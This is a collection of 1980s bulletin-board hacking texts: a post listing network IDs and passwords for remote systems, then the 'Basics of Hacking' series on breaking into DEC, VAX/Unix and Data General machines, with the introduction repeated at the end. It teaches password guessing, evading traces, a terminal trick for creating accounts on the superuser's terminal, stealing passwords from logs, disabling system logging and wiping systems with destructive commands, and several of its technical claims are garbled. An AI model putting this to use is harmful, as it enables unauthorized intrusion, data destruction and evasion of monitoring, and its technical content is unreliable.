network (USA has 11, Canada has 3, etc).
OK. That should be enough for the moment. As you see most of the passwords
are very simple. This is because they must not have any fear of hackers. Only
a few German hackers use these networks. Most of the computers are absolutely
easy to hack !!!
So, try to find out some Telenet-ID's and leave them here. If you need more
numbers, leave e-mail.
I'm calling from Germany via the German Datex-P network, which is similar to
Telenet. We have a lot of those NUI's for the German network, but none for
a special Tymnet-outdial-computer in USA, which connects me to any phone #.
CUL8R, Mad Max
PS: Call 026245621040000 and type ID INF300 with password DATACOM to get more
Informations on packet-switching-networks !
PS2: The new password for the Washington Post is KING !!!!
Distributed in part by:
Skeleton Crue xxx-xxx-xxxx located out of Moraga, California.
!!Get on the band wagon before it RUNS YOU DOWN!!
The very LAST bastion of Abusive Thought in all of the Suburbian West Coast...
(CH&AOS)
The Basics of Hacking- Introduction
_______________________________________
_______________________________________
__ __
__ THE BASICS OF HACKING: INTRO __
__ __
_______________________________________
__ Uploaded by Elric of Imrryr __
_______________________________________
_ _
_ THE FIRST OF A SET OF ARTICLES: _
_ AN INTRODUCTION TO THE WORLD OF THE _
_ HACKER. BASICS TO KNOW BEFORE DOING_
_ ANYTHING, ESSENTIAL TO YOUR CONTIN- _
_ UING CAREER AS ONE OF THE ELITE IN _
_ THE COUNTRY... _
_______________________________________
_______________________________________
THIS ARTICLE, "THE INTRODUCTION TO THE
WORLD OF HACKING" IS MEANT TO HELP YOU
BY TELLING YOU HOW NOT TO GET CAUGHT,
WHAT NOT TO DO ON A COMPUTER SYSTEM,
WHAT TYPE OF EQUIPMENT SHOULD I KNOW
ABOUT NOW, AND JUST A LITTLE ON THE
HISTORY, PAST PRESENT FUTURE, OF THE
HACKER.
_______________________________________
WELCOME TO THE WORLD OF HACKING!
WE, THE PEOPLE WHO LIVE OUTSIDE OF
THE NORMAL RULES, AND HAVE BEEN SCORNED
AND EVEN ARRESTED BY THOSE FROM THE
'CIVILIZED WORLD', ARE BECOMMING
SCARCER EVERY DAY. THIS IS DUE TO THE
GREATER FEAR OF WHAT A GOOD HACKER
(SKILL WISE, NO MORAL JUDGEMENTS HERE)
CAN DO NOWADAYS, THUS CAUSING ANTI-
HACKER SENTIMENT IN THE MASSES.
ALSO, FEW HACKERS SEEM TO ACTUALLY KNOW
ABOUT THE COMPUTER SYSTEMS THEY HACK,
OR WHAT EQUIPMENT THEY WILL RUN INTO
ON THE FRONT END, OR WHAT THEY COULD
DO WRONG ON A SYSTEM TO ALERT THE
'HIGHER' AUTHORITIES WHO MONITOR THE
SYSTEM.
THIS ARTICLE IS INTENDED TO TELL YOU
ABOUT SOME THINGS NOT TO DO, EVEN
BEFORE YOU GET ON THE SYSTEM. WE
WILL TELL YOU ABOUT THE NEW WAVE OF
FRONT END SECURITY DEVICES THAT ARE
BEGINNING TO BE USED ON COMPUTERS.
WE WILL ATTEMPT TO INSTILL IN YOU A
SECOND IDENTITY, TO BE BROUGHT UP AT
TIME OF GREAT NEED, TO PULL YOU OUT
OF TROUBLE.
AND, BY THE WAY, WE TAKE NO, REPEAT,
NO, RESPONCIBILITY FOR WHAT WE SAY IN
THIS AND THE FORTHCOMING ARTICLES.
ENOUGH OF THE BULLSHIT, ON TO THE FUN:
_______________________________________
AFTER LOGGING ON YOUR FAVORITE BBS,
YOU SEE ON THE HIGH ACCESS BOARD A
PHONE NUMBER! IT SAYS IT'S A GREAT
SYSTEM TO "FUCK AROUND WITH!"
THIS MAY BE TRUE, BUT HOW MANY OTHER
PEOPLE ARE GOING TO CALL THE SAME
NUMBER? SO: TRY TO AVOID CALLING A
NUMBER GIVEN TO THE PUBLIC. THIS IS
BECAUSE THERE ARE AT LEAST EVERY OTHER
USER CALLING, AND HOW MANY OTHER BOARDS
WILL THAT NUMBER SPREAD TO?
IF YOU CALL A NUMBER FAR, FAR AWAY, AND
YOU PLAN ON GOING THRU AN EXTENDER OR
A RE-SELLER, DON'T KEEP CALLING THE
SAME ACCESS NUMBER (I.E. AS YOU WOULD
IF YOU HAD A HACKER RUNNING), THIS
LOOKS VERY SUSPICIOUS AND CAN MAKE
LIFE MISERABLE WHEN THE PHONE BILL
COMES IN THE MAIL. MOST CITIES HAVE
A VARIETY OF ACCESS NUMBERS AND
SERVICES, SO USE AS MANY AS YOU CAN.
NEVER TRUST A CHANGE IN THE SYSTEM...
THE 414'S, THE ASSHOLES, WERE CAUGHT
FOR THIS REASON: WHEN ONE OF THEM
CONNECTED TO THE SYSTEM, THERE WAS
NOTHING GOOD THERE. THE NEXT TIME,
THERE WAS A TREK GAME STUCK RIGHT IN
THEIR WAY! THEY PROCEDED TO PLAY SAID
GAME FOR TWO, SAY TWO AND A HALF HOURS,
WHILE TELENET WAS TRACING THEM! NICE
JOB, DON'T YOU THINK? IF ANYTHING
LOOKS SUSPICIOUS, DROP THE LINE
IMMEDIATELY!! AS IN, YESTERDAY!!
THE POINT WE'RE TRYING TO GET ACCROSS
IS: IF YOU USE A LITTLE COMMON SENCE,
YOU WON'T GET BUSTED. LET THE LITTLE
KIDS WHO AREN'T SMART ENOUGH TO
RECOGNIZE A TRAP GET BUSTED, IT WILL
TAKE THE HEAT OFF OF THE REAL HACKERS.
NOW, LET'S SAY YOU GET ON A COMPUTER
SYSTEM... IT LOOKS GREAT, CHECKS
OUT, EVERYTHING SEEMS FINE. OK, NOW
IS WHEN IT GETS MORE DANGEROUS. YOU
HAVE TO KNOW THE COMPUTER SYSTEM (SEE
FUTURE ISSUES OF THIS ARTICLE FOR INFO
ON SPECIFIC SYSTEMS) TO KNOW WHAT NOT
TO DO. BASICALLY, KEEP AWAY FROM ANY
COMMAND WHICH LOOKS LIKE IT MIGHT
DELETE SOMETHING, COPY A NEW FILE INTO
THE ACCOUNT, OR WHATEVER! ALWAYS LEAVE
THE ACCOUNT IN THE SAME STATUS YOU
LOGGED IN WITH. CHANGE _NOTHING_...
IF IT ISN'T AN ACCOUNT WITH PRIV'S,
THEN DON'T TRY ANY COMMANDS THAT
REQUIRE THEM! ALL, YES ALL, SYSTEMS
ARE GOING TO BE KEEPING LOG FILES
OF WHAT USERS ARE DOING, AND THAT WILL
SHOW UP. IT IS JUST LIKE DROPPING A
TROUBLE-CARD IN AN ESS SYSTEM, AFTER
SENDING THAT NICE OPERATOR A PRETTY
TONE. SPEND NO EXCESSIVE AMOUNTS OF
TIME ON THE ACCOUNT IN ONE STRETCH.
KEEP YOUR CALLING TO THE VERY LATE
NIGHT IF POSSIBLE, OR DURING BUSINESS
HOURS (BELIEVE IT OR NOT!). IT SO
HAPPENS THAT THERE ARE MORE USERS ON
DURING BUSINESS HOURS, AND IT IS VERY
DIFFICULT TO READ A LOG FILE WITH
60 USERS DOING MANY COMMNDS EVERY
MINUTE. TRY TO AVOID SYSTEMS WHERE
EVERYONE KNOWS EACH OTHER, DON'T TRY
TO BLUFF. AND ABOVE ALL: NEVER ACT
LIKE YOU OWN THE SYSTEM, OR ARE THE
BEST THERE IS. THEY ALWAYS GRAB THE
PEOPLE WHO'S HEADS SWELL...
THERE IS SOME VERY INTERESTING FRONT
END EQUIPMENT AROUND NOWADAYS, BUT
FIRST LET'S DEFINE TERMS...
BY FRONT END, WE MEAN ANY DEVICE THAT
YOU MUST PASS THRU TO GET AT THE REAL
COMPUTER. THERE ARE DEVICES THAT ARE
MADE TO DEFEAT HACKER PROGRAMS, AND
JUST PLAIN OLD MULTIPLEXERS.
TO DEFEAT HACKER PROGRAMS, THERE ARE
NOW DEVICES THAT PICK UP THE PHONE
AND JUST SIT THERE... THIS MEANS
THAT YOUR DEVICE GETS NO CARRIER, THUS
YOU THINK THERE ISN'T A COMPUTER ON
THE OTHER END. THE ONLY WAY AROUND IT
IS TO DETECT WHEN IT WAS PICKED UP. IF
IT PICKES UP AFTER THE SAME NUMBER
RING, THEN YOU KNOW IT IS A HACKER-
DEFEATER. THESE DEVICES TAKE A MULTI-
DIGIT CODE TO LET YOU INTO THE SYSTEM.
SOME ARE, IN FACT, QUITE SOPHISTICATED
TO THE POINT WHERE IT WILL ALSO LIMIT
THE USER NAME'S DOWN, SO ONLY ONE NAME
OR SET OF NAMES CAN BE VALID LOGINS
AFTER THEY INPUT THE CODE...
OTHER DEVICES INPUT A NUMBER CODE, AND
THEN THEY DIAL BACK A PRE-PROGRAMMED
NUMBER FOR THAT CODE. THESE SYSTEMS
ARE BEST TO LEAVE ALONE, BECAUSE THEY
KNOW SOMEONE IS PLAYING WITH THEIR
PHONE. YOU MAY THINK "BUT I'LL JUST
REPROGRAM THE DIAL-BACK." THINK
AGAIN, HOW STUPID THAT IS... THEN
THEY HAVE YOUR NUMBER, OR A TEST LOOP
IF YOU WERE JUST A LITTLE SMARTER.
IF IT'S YOUR NUMBER, THEY HAVE YOUR
BALLS (IF MALE...), IF ITS A LOOP,
THEN YOU ARE SCREWED AGAIN, SINCE THOSE
LOOPS ARE _MONITORED_.
AS FOR MULTIPLEXERS... WHAT A PLEXER
IS SUPPOSED TO DO IS THIS: THE SYSTEM
CAN ACCEPT MULTIPLE USERS. WE HAVE
TO TIME SHARE, SO WE'LL LET THE FRONT-
END PROCESSOR DO IT... WELL, THIS IS
WHAT A MULTIPLEXER DOES. USUALLY THEY
WILL ASK FOR SOMETHING LIKE "ENTER
CLASS" OR "LINE:". USUALLY IT IS
PROGRAMMED FOR A DOUBLE DIGIT NUMBER,
OR A FOUR TO FIVE LETTER WORD. THERE
ARE USUALLY A FEW SETS OF NUMBERS IT
ACCEPTS, BUT THOSE NUMBERS ALSO SET
YOUR 300/1200 BAUD DATA TYPE. THESE
MULTIPLEXERS ARE INCONVENIENT AT BEST,
SO NOT TO WORRY.
A LITTLE ABOUT THE HISTORY OF HACKING:
HACKING, BY OUR DEFINITION, MEANS A
GREAT KNOWLEDGE OF SOME SPECIAL AREA.
DOCTORS AND LAWYERS ARE HACKERS OF A
SORT, BY THIS DEFINITION. BUT MOST
OFTEN, IT IS BEING USED IN THE COMPUTER
CONTEXT, AND THUS WE HAVE A DEFINITION
OF "ANYONE WHO HAS A GREAT AMOUNT OF
COMPUTER OR TELECOMMUNICATIONS
KNOWLEDGE." YOU ARE NOT A HACKER
BECAUSE YOU HAVE A LIST OF CODES...
HACKING, BY OUR DEFINITION, HAS THEN
BEEN AROUND ONLY ABOUT 15 YEARS. IT
STARTED, WHERE ELSE BUT, MIT AND
COLLEGES WHERE THEY HAD COMPUTER
SCIENCE OR ELECTRICAL ENGINEERING
DEPARTMENTS. HACKERS HAVE CREATED
SOME OF THE BEST COMPUTER LANGUAGES,
THE MOST AWESOME OPERATING SYSTEMS, AND
EVEN GONE ON TO MAKE MILLIONS. HACKING
USED TO HAVE A GOOD NAME, WHEN WE COULD
HONESTLY SAY "WE KNOW WHAT WE ARE
DOING". NOW IT MEANS (IN THE PUBLIC
EYE): THE 414'S, RON AUSTIN, THE NASA
HACKERS, THE ARPANET HACKERS... ALL
THE PEOPLE WHO HAVE BEEN CAUGHT, HAVE
DONE DAMAGE, AND ARE NOW GOING TO HAVE
TO FACE FINES AND SENTANCES.
THUS WE COME PAST THE MORALISTIC CRAP,
AND TO OUR PURPOSE: EDUCATE THE HACKER
COMMUNITY, RETURN TO THE DAYS WHEN
PEOPLE ACTUALLY KNEW SOMETHING...
_______________________________________
A PROGRAM GUIDE:
THREE MORE ARTICLES WILL BE WRITTEN IN
THIS SERIES, AT THE PRESENT TIME.
BASICS OF HACKING I: DEC'S
BASICS OF HACKING II: VAX'S (UNIX)
BASICS OF HACKING III: DATA GENERAL
IT IS IMPOSSIBLE TO WRITE AN ARTICLE
ON IBM, SINCE THERE ARE SO MANY SYSTEMS
AND WE ONLY HAVE INFO ON A FEW...
_______________________________________
THIS ARTICLE HAS BEEN WRITTEN BY:
THE KNIGHTS OF SHADOW
_______________________________________
THE BASICS OF HACKING II: VAX'S
UNIX
UNIX IS A TRADEMARK OF AT&T
(AND YOU KNOW WHAT _THAT_ MEANS)
Uploaded by Elric of Imrryr
_______________________________________
WELCOME TO THE BASICS OF HACKING II:
VAX'S AND UNIX. IN THIS ARTICLE, WE
DISCUSS THE UNIX SYSTEM THAT RUNS ON
THE VARIOUS VAX SYSTEMS. IF YOU ARE
ON ANOTHER UNIX-TYPE SYSTEM, SOME
COMMANDS MAY DIFFER, BUT SINCE IT IS
LICENCED TO BELL, THEY CAN'T MAKE MANY
CHANGES.
_______________________________________
HACKING ONTO A UNIX SYSTEM IS VERY
DIFFICULT, AND IN THIS CASE, WE ADVISE
HAVING AN INSIDE SOURCE, IF POSSIBLE.
THE REASON IT IS DIFFICULT TO HACK A
VAX IS THIS: MANY VAX, AFTER YOU GET
A CARRIER FROM THEM, RESPOND=>
LOGIN:
THEY GIVE YOU NO CHANCE TO SEE WHAT THE
LOGIN NAME FORMAT IS. MOST COMMONLY
USED ARE SINGLE WORDS, UNDER 8 DIGITS,
USUALLY THE PERSON'S NAME. THERE IS
A WAY AROUND THIS: MOST VAX HAVE AN
ACCT. CALLED 'SUGGEST' FOR PEOPLE TO
USE TO MAKE A SUGGESTION TO THE SYSTEM
ROOT TERMINAL. THIS IS USUALLY WATCHED
BY THE SYSTEM OPERATOR, BUT AT LATE
HE IS PROBABLY AT HOME SLEEPING OR
SCREWING SOMEONE'S BRAINS OUT. SO WE
CAN WRITE A PROGRAM TO SEND AT THE
VAX THIS TYPE OF A MESSAGE:
A SCREEN FREEZE (CNTRL-S), SCREEN
CLEAR (SYSTEM DEPENDANT), ABOUT 255
GARBAGE CHARACTERS, AND THEN A COMMAND
TO CREATE A LOGIN ACCT., AFTER WHICH
YOU CLEAR THE SCREEN AGAIN, THEN UN-
FREEZE THE TERMINAL. WHAT THIS DOES:
WHEN THE TERMINAL IS FROZEN, IT KEEPS
A BUFFER OF WHAT IS SENT. WELL, THE
BUFFER IS ABOUT 127 CHARACTERS LONG.
SO YOU OVERFLOW IT WITH TRASH, AND THEN
YOU SEND A COMMAND LINE TO CREATE AN
ACCT. (SYSTEM DEPENDANT). AFTER THIS
YOU CLEAR THE BUFFER AND SCREEN AGAIN,
THEN UNFREEZE THE TERMINAL. THIS IS
A BAD WAY TO DO IT, AND IT IS MUCH
NICER IF YOU JUST SEND A COMMAND TO
THE TERMINAL TO SHUT THE SYSTEM DOWN,
OR WHATEVER YOU ARE AFTER...
THERE IS ALWAYS, *ALWAYS* AN ACCT.
CALLED ROOT, THE MOST POWERFUL ACCT.
TO BE ON, SINCE IT HAS ALL OF THE
SYSTEM FILES ON IT. IF YOU HACK YOUR
WAY ONTO THIS ONE, THEN EVERYTHING IS
EASY FROM HERE ON...
ON THE UNIX SYSTEM, THE ABORT KEY IS
THE CNTRL-D KEY. WATCH HOW MANY TIMES
YOU HIT THIS, SINCE IT IS ALSO A WAY TO
LOG OFF THE SYSTEM!
A LITTLE ABOUT UNIX ARCHITECHTURE:
THE ROOT DIRECTORY, CALLED ROOT, IS
WHERE THE SYSTEM RESIDES. AFTER THIS
COME A FEW 'SUB' ROOT DIRECTORIES,
USUALLY TO GROUP THINGS (STATS HERE,
PRIV STUFF HERE, THE USER LOG HERE...).
UNDER THIS COMES THE SUPERUSER (THE
OPERATOR OF THE SYSTEM), AND THEN
FINALLY THE NORMAL USERS. IN THE UNIX
'SHELL' EVERYTHING IS TREATED THE SAME.
BY THIS WE MEAN: YOU CAN ACCESS A
PROGRAM THE SAME WAY YOU ACCESS A USER
DIRECTORY, AND SO ON. THE WAY THE UNIX
SYSTEM WAS WRITTEN, EVERYTHING, USERS
INCLUDED, ARE JUST PROGRAMS BELONGING
TO THE ROOT DIRECTORY. THOSE OF YOU
WHO HACKED ONTO THE ROOT, SMILE, SINCE
YOU CAN SCREW EVERYTHING...
THE MAIN LEVEL (EXEC LEVEL) PROMPT ON
THE UNIX SYSTEM IS THE $, AND IF YOU
ARE ON THE ROOT, YOU HAVE A # (SUPER-
USER PROMPT).
OK, A FEW BASICS FOR THE SYSTEM...
TO SEE WHERE YOU ARE, AND WHAT PATHS
ARE ACTIVE IN REGUARDS TO YOUR USER
ACCOUNT, THEN TYPE => PWD
THIS SHOWS YOUR ACCT. SEPERATED BY
A SLASH WITH ANOTHER PATHNAME (ACCT.),
POSSIBLY MANY TIMES.
TO CONNECT THROUGH TO ANOTHER PATH,
OR MANY PATHS, YOU WOULD TYPE:
YOU=> PATH1/PATH2/PATH3
AND THEN YOU ARE CONNECTED ALL THE
WAY FROM PATH1 TO PATH3. YOU CAN
RUN THE PROGRAMS ON ALL THE PATHS
YOU ARE CONNECTED TO. IF IT DOES
NOT ALLOW YOU TO CONNECT TO A PATH,
THEN YOU HAVE INSUFFICIENT PRIVS, OR
THE PATH IS CLOSED AND ARCHIVED ONTO
TAPE. YOU CAN RUN PROGRAMS THIS WAY
ALSO:
YOU=> PATH1/PATH2/PATH3/PROGRAM-NAME
UNIX TREATS EVERYTHING AS A PROGRAM,
AND THUS THERE A FEW COMMANDS TO
LEARN...
TO SEE WHAT YOU HAVE ACCESS TO IN THE
END PATH, TYPE=> LS
FOR LIST. THIS SHOW THE PROGRAMS
YOU CAN RUN. YOU CAN CONNECT TO
THE ROOT DIRECTORY AND RUN IT'S
PROGRAMS WITH=>
/ROOT
BY THE WAY, MOST UNIX SYSTEMS HAVE
THEIR LOG FILE ON THE ROOT, SO YOU
CAN SET UP A WATCH ON THE FILE, WAITING
FOR PEOPLE TO LOG IN AND SNATCH THEIR
PASSWORD AS IT PASSES THRU THE FILE.
TO CONNECT TO A DIRECTORY, USE THE
COMMAND: => CD PATHNAME
THIS ALLOWS YOU TO DO WHAT YOU WANT
WITH THAT DIRECTORY. YOU MAY BE ASKED
FOR A PASSWORD, BUT THIS IS A GOOD
WAY OF FINDING OTHER USER NAMES TO
HACK ONTO.
THE WILDCARD CHARACTER IN UNIX, IF
YOU WANT TO SEARCH DOWN A PATH FOR
A GAME OR SUCH, IS THE *.
=> LS /*
SHOULD SHOW YOU WHAT YOU CAN ACCESS.
THE FILE TYPES ARE THE SAME AS THEY
ARE ON A DEC, SO REFER TO THAT SECTION
WHEN EXAMINING FILE. TO SEE WHAT IS
IN A FILE, USE THE => PR FILENAME
COMMAND, FOR PRINT FILE.
WE ADVISE PLAYING WITH PATHNAMES TO
GET THE HANG OF THE CONCEPT. THERE
IS ON-LINE HELP AVAILABLE ON MOST
SYSTEMS WITH A 'HELP' OR A '?'.
WE ADVISE YOU LOOK THRU THE HELP
FILES AND PAY ATTENTION TO ANYTHING
THEY GIVE YOU ON PATHNAMES, OR THE
COMMANDS FOR THE SYSTEM.
YOU CAN, AS A USER, CREATE OR DESTROY
DIRECTORIES ON THE TREE BENEATH YOU.
THIS MEANS THAT ROOT CAN KILL EVERY-
THING BUT ROOT, AND YOU CAN KILL ANY
THAT ARE BELOW YOU. THESE ARE THE
=> MKDIR PATHNAME
=> RMDIR PATHNAME
COMMANDS.
ONCE AGAIN, YOU ARE NOT ALONE ON THE
SYSTEM... TYPE=> WHO
TO SEE WHAT OTHER USERS ARE LOGGED IN
TO THE SYSTEM AT THE TIME. IF YOU
WANT TO TALK TO THEM=> WRITE USERNAME
WILL ALLOW YOU TO CHAT AT THE SAME
TIME, WITHOUT HAVING TO WORRY ABOUT THE
PARSER. TO SEND MAIL TO A USER, SAY
=> MAIL
AND ENTER THE MAIL SUB-SYSTEM.
TO SEND A MESSAGE TO ALL THE USERS
ON THE SYSTEM, SAY => WALL
WHICH STANDS FOR 'WRITE ALL'
BY THE WAY, ON A FEW SYSTEMS, ALL YOU
HAVE TO DO IS HIT THE KEY
TO END THE MESSAGE, BUT ON OTHERS YOU
MUST HIT THE CNTRL-D KEY.
TO SEND A SINGLE MESSAGE TO A USER,
SAY => WRITE USERNAME
THIS IS VERY HANDY AGAIN! IF YOU SEND
THE SEQUENCE OF CHARACTERS DISCUSSED
AT THE VERY BEGINNING OF THIS ARTICLE,
YOU CAN HAVE THE SUPER-USER TERMINAL DO
TRICKS FOR YOU AGAIN.
PRIVS:
IF YOU WANT SUPER-USER PRIVS, YOU CAN
EITHER LOG IN AS ROOT, OR EDIT YOUR
ACCT. SO IT CAN SAY => SU
THIS NOW GIVES YOU THE # PROMPT, AND
ALLOWS YOU TO COMPLETELY BY-PASS THE
PROTECTION. THE WONDERFUL SECURITY
CONSCIOUS DEVELOPERS AT BELL MADE IT
VERY DIFFICULT TO DO MUCH WITHOUT
PRIVS, BUT ONCE YOU HAVE THEM, THERE
IS ABSOLUTELY NOTHING STOPPING YOU
FROM DOING ANYTHING YOU WANT TO.
TO BRING DOWN A UNIX SYSTEM:
=> CHDIR /BIN
=> RM *
THIS WIPES OUT THE PATHNAME BIN, WHERE
ALL THE SYSTEM MAINTENANCE FILES ARE.
OR TRY:
=> R -R
THIS RECURSIVELY REMOVES EVERYTHING
FROM THE SYSTEM EXCEPT THE REMOVE
COMMAND ITSELF.
OR TRY:
=> KILL -1,1
=> SYNC
THIS WIPES OUT THE SYSTEM DEVICES FROM
OPERATION.
WHEN YOU ARE FINALLY SICK AND TIRED
FROM HACKING ON THE VAX SYSTEMS, JUST
HIT YOUR CNTRL-D AND REPEAT KEY, AND
YOU WILL EVENTUALLY BE LOGGED OUT.
_______________________________________
THE REASON THIS FILE SEEMS TO BE VERY
SKETCHY IS THE FACT THAT BELL HAS 7
LICENCED VERSIONS OF UNIX OUT IN THE
PUBLIC DOMAIN, AND THESE COMMANDS ARE
THOSE COMMON TO ALL OF THEM. WE
RECOMMEND YOU HACK ONTO THE ROOT OR
BIN DIRECTORY, SINCE THEY HAVE THE
HIGHEST LEVELS OF PRIVS, AND THERE
IS REALLY NOT MUCH YOU CAN DO (EXCEPT
DEVELOPE SOFTWARE) WITHOUT THEM.
_______________________________________
THIS ARTICLE WRITTEN BY:
THE KNIGHTS OF SHADOW
_______________________________________
Description: Hacking DEC's (Knights of Shadow II)
File Date: 6-21-87
File Time: 6:31 am
***************************************
***************************************
** **
** Hacking : DEC's **
** **
***************************************
***************************************
Welcome to Basics of Hacking I: DEC's In this article you will learn how
to log in to DEC's, logging out, and all the fun stuff to do in-between.
All of this information is based on a standard DEC system. Since there
are DEC systems 10 and 20, and we favor, the DEC 20, there will be more
info on them in this article. It is also the more common of the two,
and is used by much more interesting people (if you know what we mean...)
Ok, the first thing you want to do when you are receiving carrier from
a DEC system is to find out the format of login names. You can do this
by looking at who is on the system.
DEC=> @ (the 'exec' level prompt)
YOU=> SY
SY is short for SY(STAT) and shows you the system status. You should see
|he format of login names... A SYSTAT usually comes up in this form:
Job Line Program User
Job: The JOB number (Not important unless you want to log them off later)
Line: What line they are on (used to talk to them...)
These are both two or three digit numbers.
Program: What program are they running under? If it says 'EXEC' they aren't
doing anything at all...
User: ahhhAHHHH! This is the user name they are logged in under...
Copy the format, and hack yourself out a working code...
Login format is as such:
DEC=> @
YOU=> login username password
Username is the username in the format you saw above in the SYSTAT. After you
hit the space after your username, it will stop echoing characters back to
your screen. This is the password you are typing in... Remember, people
usually use their name, their dog's name, the name of a favorite character
in a book, or something like this. A few clever people have it set to a key
cluster (qwerty or asdfg). PW's can be from 1 to 8 characters long, anything
after that is ignored.
It would be nice to have a little help, wouldn't it? Just type a ?
or the word HELP, and it will give you a whole list of topics...
Some handy characters for you to know would be the control keys, wouldn't it?
Backspace on a DEC 20 is rub which is 255 on your ASCII chart. On the DEC 10
it is Ctrl-H. To abort a long listing or a program, Ctrl-C works fine. Use
Ctrl-O to stop long output to the terminal. This is handy when playing
a game, but you don't want to Ctrl-C out. Ctrl-T for the time. Ctrl-U
will kill the whole line you are typing at the moment. You may accidently
run a program where the only way out is a Ctrl-X, so keep that in reserve.
Ctrl-S to stop listing, Ctrl-Q to continue on both systems. Is your
terminal having trouble?? Like, it pauses for no reason, or it doesn't
backspace right? This is because both systems support many terminals,
and you haven't told it what yours is yet... You are using a VT05 (Isn't
that funny? I thought i had an apple) so you need to tell it you are one.
DEC=> @
YOU=> information terminal
or...
YOU=> info ter
This shows you what your terminal is set up as...
DEC=> all sorts of shit, then the @
YOU=> set ter vt05
This sets your terminal type to VT05. Now let's see what is in the account
(here after abbreviated acct.) that you have hacked onto...
SAY => DIR
short for directory, it shows you what the user of the code has save to the
disk. There should be a format like this: xxxxx.ooo xxxxx is the file
name, from 1 to 20 characters long. ooo is the file type, one of:
exe, txt, dat, bas, cmd and a few others that are system dependant.
Exe is a compiled program that can be run (just by typing its name at the @).
Txt is a text file, which you can see by typing=> type xxxxx.txt
Do not try to=> type xxxxx.exe This is very bad for your terminal and
will tell you absolutly nothing. Dat is data they have saved.
Bas is a basic program, you can have it typed out for you.
Cmd is a command type file, a little too complicated to go into here.
TRY => take xxxxx.cmd
By the way, there are other usersout there who may have files you can
use (Gee, why else am i here?).
TYPE => DIR <*.*> (DEC 20)
=> DIR [*,*] (DEC 10)
* is a wildcard, and will allow you
to access the files on other accounts if the user has it set for public
access. If it isn't set for public access, then you won't see it.
to run that program:
DEC=> @
YOU=> username program-name
Username is the directory you saw the file listed under, and file name was
what else but the file name?
** YOU ARE NOT ALONE **
Remember, you said (at the very start) SY short for SYSTAT, and how we said
this showed the other users on the system? Well, you can talk to them,
or at least send a message to anyone you see listed in a SYSTAT. You can
do this by:
DEC=> the user list (from your systat)
YOU=> talk username (DEC 20)
send username (DEC 10)
Talk allows you and them immediate conferencing.
Description: Hackign Data General (Knights of Shadow IV)
File Date: 6-21-87
File Time: 6:36 am
***************************************
***************************************
** **
** Hacking III: Data **
** General **
** **
***************************************
***************************************
Welcome to the basics of hacking III: Data General computers.
Data General is favored by large corporations who need to have a lot of
data on-line. The Data General AOS, which stands for Advance on of
bastardized UNIX. All the commands which were in the UNIX article, will
work on a Data General. Once again, we have the problem of not knowing
the format for the login name on the Data General you want to hack. As
seems to be standard, try names from one to 8 digits long. Data General
designed the computer to be for businessmen, and is thus very simplistic,
and basically fool proof (but not damn fool proof). It follows the same
login format as the unix system:
DG=> login:
DG=> password:
YOU=> password
Passwords can be a maximum of 8 characters, and they are almost always
set to a default of 'AOS' or 'DG'. (any you know about businessmen...)
A word about control characters:
Ctrl-O stops massive print-outs to the screen, but leaves you in whatever
mode you were. (A technical word on what this actually does: It tells the
CPU to ignore the terminal, and prints everything out to the CPU! This is
about 19200 baud, and so it seems like it just cancels.) Ctrl-U kills the
line you are typing at the time. Now for the weird one: Ctrl-C tells the
CPU to stop, and wait for another ctrl character. To stop a program,
you actually need to type Ctrl-C and then a Ctrl-B.
Once you get on, type 'HELP'. Many DG (Data General) computers are sold
in a package deal, which also gets the company free customizing. So you never
know what commands there might be. So we will follow what is known as the
'ECLIPSE STANDARD', or''ctory like. To find out the files on the directory
you are using, type
=> DIR
To run a program, just like on a DEC, just type its name. Other than this,
and running other people's programs, there really isn't a standard...
*** HARK, yon other system users ***
To see who is on, type => WHO remember?). This shows the other users,
what they are doing, and what paths they are connected across. This
is handy, so try a few of those paths yourself. To send a message, say
=> send username
This is a one time message, just like send on the DEC 10. From here on, try
commands from the other previous files and from the 'HELP' listing.
superuser:
If you can get privs, just say:
=> superuser on
and you turn those privs on!
By the way, you remember that computers keep a log of what people do? type:
=> syslog /stop
and it no longer records anything you do on the system, or any of the other
users. It screams to high heaven that it was you who turned it off, but it
keeps no track of any accounts created or whatever else you may do. You can
say=> syslog /start
to turn it back on (now why would you want to do something like that?????)
To exit from the system, type=> BYE and the system will hang up on you.
Most of the systems around, including DECs, VAX's, and DG's, have games.
These are usually located in a path or directory of the name games or
or games: Try looking in them, and you might find adventure, zork, wumpus
(with bent arrows in hand) or a multitude of others. There may also be
games called 'CB' or 'FORUM'. These are a sort of computer conference call.
Use them on weekends, and you can meet all sorts of interesting people.
If you would like to see more articles on hacking (this time far more than
just the basics), or maybe articles on networks and such, then leave us mail
if we are on the system, or have the sysop search us down. We call a lot
of places, and you may just find us.
***************************************
***************************************
This completes the series of articles on hacking...
The Basics of Hacking: Introduction
The Basics of Hacking I: DEC's
The Basics of Hacking II: VAX's (UNIX)
The Basics of Hacking III: DG's
***************************************
***************************************
This and the previous articles by:
The Knights of Shadow
***************************************
***************************************
Downloaded From P-80 International Information Systems 304-744-2253
_______________________________________
__ __
__ THE BASICS OF HACKING: INTRO __
__ __
_______________________________________
__ Uploaded by Elric of Imrryr __
_______________________________________
_ _
_ THE FIRST OF A SET OF ARTICLES: _
_ AN INTRODUCTION TO THE WORLD OF THE _
_ HACKER. BASICS TO KNOW BEFORE DOING_
_ ANYTHING, ESSENTIAL TO YOUR CONTIN- _
_ UING CAREER AS ONE OF THE ELITE IN _
_ THE COUNTRY... _
_______________________________________
_______________________________________
THIS ARTICLE, "THE INTRODUCTION TO THE
WORLD OF HACKING" IS MEANT TO HELP YOU
BY TELLING YOU HOW NOT TO GET CAUGHT,
WHAT NOT TO DO ON A COMPUTER SYSTEM,
WHAT TYPE OF EQUIPMENT SHOULD I KNOW
ABOUT NOW, AND JUST A LITTLE ON THE
HISTORY, PAST PRESENT FUTURE, OF THE
HACKER.
_______________________________________
WELCOME TO THE WORLD OF HACKING!
WE, THE PEOPLE WHO LIVE OUTSIDE OF
THE NORMAL RULES, AND HAVE BEEN SCORNED
AND EVEN ARRESTED BY THOSE FROM THE
'CIVILIZED WORLD', ARE BECOMMING
SCARCER EVERY DAY. THIS IS DUE TO THE
GREATER FEAR OF WHAT A GOOD HACKER
(SKILL WISE, NO MORAL JUDGEMENTS HERE)
CAN DO NOWADAYS, THUS CAUSING ANTI-
HACKER SENTIMENT IN THE MASSES.
ALSO, FEW HACKERS SEEM TO ACTUALLY KNOW
ABOUT THE COMPUTER SYSTEMS THEY HACK,
OR WHAT EQUIPMENT THEY WILL RUN INTO
ON THE FRONT END, OR WHAT THEY COULD
DO WRONG ON A SYSTEM TO ALERT THE
'HIGHER' AUTHORITIES WHO MONITOR THE
SYSTEM.
